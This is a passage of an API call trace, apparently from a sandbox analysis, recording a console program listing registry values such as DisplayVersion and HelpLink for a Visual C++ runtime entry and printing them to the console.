(in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.403] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.403] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.403] __iob_func () returned 0x7fefd702a80 [0147.403] _fileno (_File=0x7fefd702ab0) returned 1 [0147.403] _errno () returned 0xc4bb0 [0147.403] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.403] _errno () returned 0xc4bb0 [0147.403] GetFileType (hFile=0x50) returned 0x1 [0147.403] lstrlenW (lpString="REG_SZ") returned 6 [0147.403] GetConsoleOutputCP () returned 0x1b5 [0147.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.403] GetConsoleOutputCP () returned 0x1b5 [0147.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.403] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.403] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.403] __iob_func () returned 0x7fefd702a80 [0147.403] _fileno (_File=0x7fefd702ab0) returned 1 [0147.403] _errno () returned 0xc4bb0 [0147.403] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.403] _errno () returned 0xc4bb0 [0147.403] GetFileType (hFile=0x50) returned 0x1 [0147.403] lstrlenW (lpString=" ") returned 4 [0147.403] GetConsoleOutputCP () returned 0x1b5 [0147.404] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.404] GetConsoleOutputCP () returned 0x1b5 [0147.404] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.404] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.404] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.404] __iob_func () returned 0x7fefd702a80 [0147.404] _fileno (_File=0x7fefd702ab0) returned 1 [0147.404] _errno () returned 0xc4bb0 [0147.404] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.404] _errno () returned 0xc4bb0 [0147.404] GetFileType (hFile=0x50) returned 0x1 [0147.404] lstrlenW (lpString="Caution. Removing this product might prevent some applications from running.") returned 76 [0147.404] GetConsoleOutputCP () returned 0x1b5 [0147.404] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0147.404] GetConsoleOutputCP () returned 0x1b5 [0147.404] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Caution. Removing this product might prevent some applications from running.", lpUsedDefaultChar=0x0) returned 76 [0147.404] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0147.404] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.404] __iob_func () returned 0x7fefd702a80 [0147.404] _fileno (_File=0x7fefd702ab0) returned 1 [0147.404] _errno () returned 0xc4bb0 [0147.404] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.404] _errno () returned 0xc4bb0 [0147.405] GetFileType (hFile=0x50) returned 0x1 [0147.405] lstrlenW (lpString="\n") returned 1 [0147.405] GetConsoleOutputCP () returned 0x1b5 [0147.405] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.405] GetConsoleOutputCP () returned 0x1b5 [0147.405] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.405] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.405] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.405] GetProcessHeap () returned 0x2e0000 [0147.405] GetProcessHeap () returned 0x2e0000 [0147.405] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970) returned 1 [0147.405] GetProcessHeap () returned 0x2e0000 [0147.405] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x301970) returned 0x9e [0147.405] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970 | out: hHeap=0x2e0000) returned 1 [0147.405] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.405] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.405] GetProcessHeap () returned 0x2e0000 [0147.405] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.405] GetProcessHeap () returned 0x2e0000 [0147.405] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.405] GetProcessHeap () returned 0x2e0000 [0147.405] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.405] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.405] __iob_func () returned 0x7fefd702a80 [0147.406] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.406] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.406] _fileno (_File=0x7fefd702ab0) returned 1 [0147.406] _errno () returned 0xc4bb0 [0147.406] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.406] _errno () returned 0xc4bb0 [0147.406] GetFileType (hFile=0x50) returned 0x1 [0147.406] lstrlenW (lpString=" ") returned 4 [0147.406] GetConsoleOutputCP () returned 0x1b5 [0147.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.406] GetConsoleOutputCP () returned 0x1b5 [0147.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.406] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.406] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.406] lstrlenW (lpString="Contact") returned 7 [0147.406] __iob_func () returned 0x7fefd702a80 [0147.406] _fileno (_File=0x7fefd702ab0) returned 1 [0147.406] _errno () returned 0xc4bb0 [0147.406] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.406] _errno () returned 0xc4bb0 [0147.406] GetFileType (hFile=0x50) returned 0x1 [0147.406] lstrlenW (lpString="Contact") returned 7 [0147.406] GetConsoleOutputCP () returned 0x1b5 [0147.407] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.407] GetConsoleOutputCP () returned 0x1b5 [0147.407] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0147.407] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.407] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.407] __iob_func () returned 0x7fefd702a80 [0147.407] _fileno (_File=0x7fefd702ab0) returned 1 [0147.407] _errno () returned 0xc4bb0 [0147.407] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.407] _errno () returned 0xc4bb0 [0147.407] GetFileType (hFile=0x50) returned 0x1 [0147.407] lstrlenW (lpString=" ") returned 4 [0147.407] GetConsoleOutputCP () returned 0x1b5 [0147.407] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.407] GetConsoleOutputCP () returned 0x1b5 [0147.407] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.407] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.407] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.407] __iob_func () returned 0x7fefd702a80 [0147.407] _fileno (_File=0x7fefd702ab0) returned 1 [0147.407] _errno () returned 0xc4bb0 [0147.407] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.407] _errno () returned 0xc4bb0 [0147.408] GetFileType (hFile=0x50) returned 0x1 [0147.408] lstrlenW (lpString="REG_SZ") returned 6 [0147.408] GetConsoleOutputCP () returned 0x1b5 [0147.408] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.408] GetConsoleOutputCP () returned 0x1b5 [0147.408] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.408] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.408] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.408] __iob_func () returned 0x7fefd702a80 [0147.408] _fileno (_File=0x7fefd702ab0) returned 1 [0147.408] _errno () returned 0xc4bb0 [0147.408] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.408] _errno () returned 0xc4bb0 [0147.408] GetFileType (hFile=0x50) returned 0x1 [0147.408] lstrlenW (lpString=" ") returned 4 [0147.408] GetConsoleOutputCP () returned 0x1b5 [0147.408] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.408] GetConsoleOutputCP () returned 0x1b5 [0147.408] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.408] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.408] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.409] __iob_func () returned 0x7fefd702a80 [0147.409] _fileno (_File=0x7fefd702ab0) returned 1 [0147.409] _errno () returned 0xc4bb0 [0147.409] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.409] _errno () returned 0xc4bb0 [0147.409] GetFileType (hFile=0x50) returned 0x1 [0147.409] lstrlenW (lpString="") returned 0 [0147.409] __iob_func () returned 0x7fefd702a80 [0147.409] _fileno (_File=0x7fefd702ab0) returned 1 [0147.409] _errno () returned 0xc4bb0 [0147.409] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.409] _errno () returned 0xc4bb0 [0147.409] GetFileType (hFile=0x50) returned 0x1 [0147.409] lstrlenW (lpString="\n") returned 1 [0147.409] GetConsoleOutputCP () returned 0x1b5 [0147.409] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.409] GetConsoleOutputCP () returned 0x1b5 [0147.409] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.409] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.409] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.409] GetProcessHeap () returned 0x2e0000 [0147.409] GetProcessHeap () returned 0x2e0000 [0147.409] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.409] GetProcessHeap () returned 0x2e0000 [0147.409] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.410] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.410] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.410] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x1a) returned 0x0 [0147.410] GetProcessHeap () returned 0x2e0000 [0147.410] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x1c) returned 0x2f5bf0 [0147.410] GetProcessHeap () returned 0x2e0000 [0147.410] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.410] GetProcessHeap () returned 0x2e0000 [0147.410] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1c [0147.410] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x1a | out: pdwType=0x23f5f0*=0x1, pvData="14.10.25017", pcbData=0x23f670*=0x18) returned 0x0 [0147.410] __iob_func () returned 0x7fefd702a80 [0147.410] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.410] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.410] _fileno (_File=0x7fefd702ab0) returned 1 [0147.410] _errno () returned 0xc4bb0 [0147.410] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.410] _errno () returned 0xc4bb0 [0147.410] GetFileType (hFile=0x50) returned 0x1 [0147.410] lstrlenW (lpString=" ") returned 4 [0147.410] GetConsoleOutputCP () returned 0x1b5 [0147.410] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.410] GetConsoleOutputCP () returned 0x1b5 [0147.410] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.410] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.410] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.411] lstrlenW (lpString="DisplayVersion") returned 14 [0147.411] __iob_func () returned 0x7fefd702a80 [0147.411] _fileno (_File=0x7fefd702ab0) returned 1 [0147.411] _errno () returned 0xc4bb0 [0147.411] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.411] _errno () returned 0xc4bb0 [0147.411] GetFileType (hFile=0x50) returned 0x1 [0147.411] lstrlenW (lpString="DisplayVersion") returned 14 [0147.411] GetConsoleOutputCP () returned 0x1b5 [0147.411] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.411] GetConsoleOutputCP () returned 0x1b5 [0147.411] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0147.411] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0147.411] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.411] __iob_func () returned 0x7fefd702a80 [0147.411] _fileno (_File=0x7fefd702ab0) returned 1 [0147.411] _errno () returned 0xc4bb0 [0147.411] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.411] _errno () returned 0xc4bb0 [0147.411] GetFileType (hFile=0x50) returned 0x1 [0147.411] lstrlenW (lpString=" ") returned 4 [0147.411] GetConsoleOutputCP () returned 0x1b5 [0147.411] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.412] GetConsoleOutputCP () returned 0x1b5 [0147.412] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.412] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.412] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.412] __iob_func () returned 0x7fefd702a80 [0147.412] _fileno (_File=0x7fefd702ab0) returned 1 [0147.412] _errno () returned 0xc4bb0 [0147.412] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.412] _errno () returned 0xc4bb0 [0147.412] GetFileType (hFile=0x50) returned 0x1 [0147.412] lstrlenW (lpString="REG_SZ") returned 6 [0147.412] GetConsoleOutputCP () returned 0x1b5 [0147.412] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.412] GetConsoleOutputCP () returned 0x1b5 [0147.412] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.412] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.412] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.412] __iob_func () returned 0x7fefd702a80 [0147.412] _fileno (_File=0x7fefd702ab0) returned 1 [0147.412] _errno () returned 0xc4bb0 [0147.412] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.412] _errno () returned 0xc4bb0 [0147.412] GetFileType (hFile=0x50) returned 0x1 [0147.413] lstrlenW (lpString=" ") returned 4 [0147.413] GetConsoleOutputCP () returned 0x1b5 [0147.413] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.413] GetConsoleOutputCP () returned 0x1b5 [0147.413] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.413] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.413] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.413] __iob_func () returned 0x7fefd702a80 [0147.413] _fileno (_File=0x7fefd702ab0) returned 1 [0147.413] _errno () returned 0xc4bb0 [0147.413] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.413] _errno () returned 0xc4bb0 [0147.413] GetFileType (hFile=0x50) returned 0x1 [0147.413] lstrlenW (lpString="14.10.25017") returned 11 [0147.413] GetConsoleOutputCP () returned 0x1b5 [0147.413] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.413] GetConsoleOutputCP () returned 0x1b5 [0147.413] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="14.10.25017", lpUsedDefaultChar=0x0) returned 11 [0147.413] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.414] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.414] __iob_func () returned 0x7fefd702a80 [0147.414] _fileno (_File=0x7fefd702ab0) returned 1 [0147.414] _errno () returned 0xc4bb0 [0147.414] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.414] _errno () returned 0xc4bb0 [0147.414] GetFileType (hFile=0x50) returned 0x1 [0147.414] lstrlenW (lpString="\n") returned 1 [0147.414] GetConsoleOutputCP () returned 0x1b5 [0147.414] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.414] GetConsoleOutputCP () returned 0x1b5 [0147.414] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.414] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.414] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.414] GetProcessHeap () returned 0x2e0000 [0147.414] GetProcessHeap () returned 0x2e0000 [0147.414] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.414] GetProcessHeap () returned 0x2e0000 [0147.414] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1c [0147.414] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0147.414] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.414] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5c) returned 0x0 [0147.414] GetProcessHeap () returned 0x2e0000 [0147.414] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x5e) returned 0x2fb7d0 [0147.415] GetProcessHeap () returned 0x2e0000 [0147.415] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0147.415] GetProcessHeap () returned 0x2e0000 [0147.415] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x5e [0147.415] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x5c | out: pdwType=0x23f5f0*=0x2, pvData="http://go.microsoft.com/fwlink/?LinkId=133405", pcbData=0x23f670*=0x5c) returned 0x0 [0147.415] __iob_func () returned 0x7fefd702a80 [0147.415] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.415] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.415] _fileno (_File=0x7fefd702ab0) returned 1 [0147.415] _errno () returned 0xc4bb0 [0147.415] 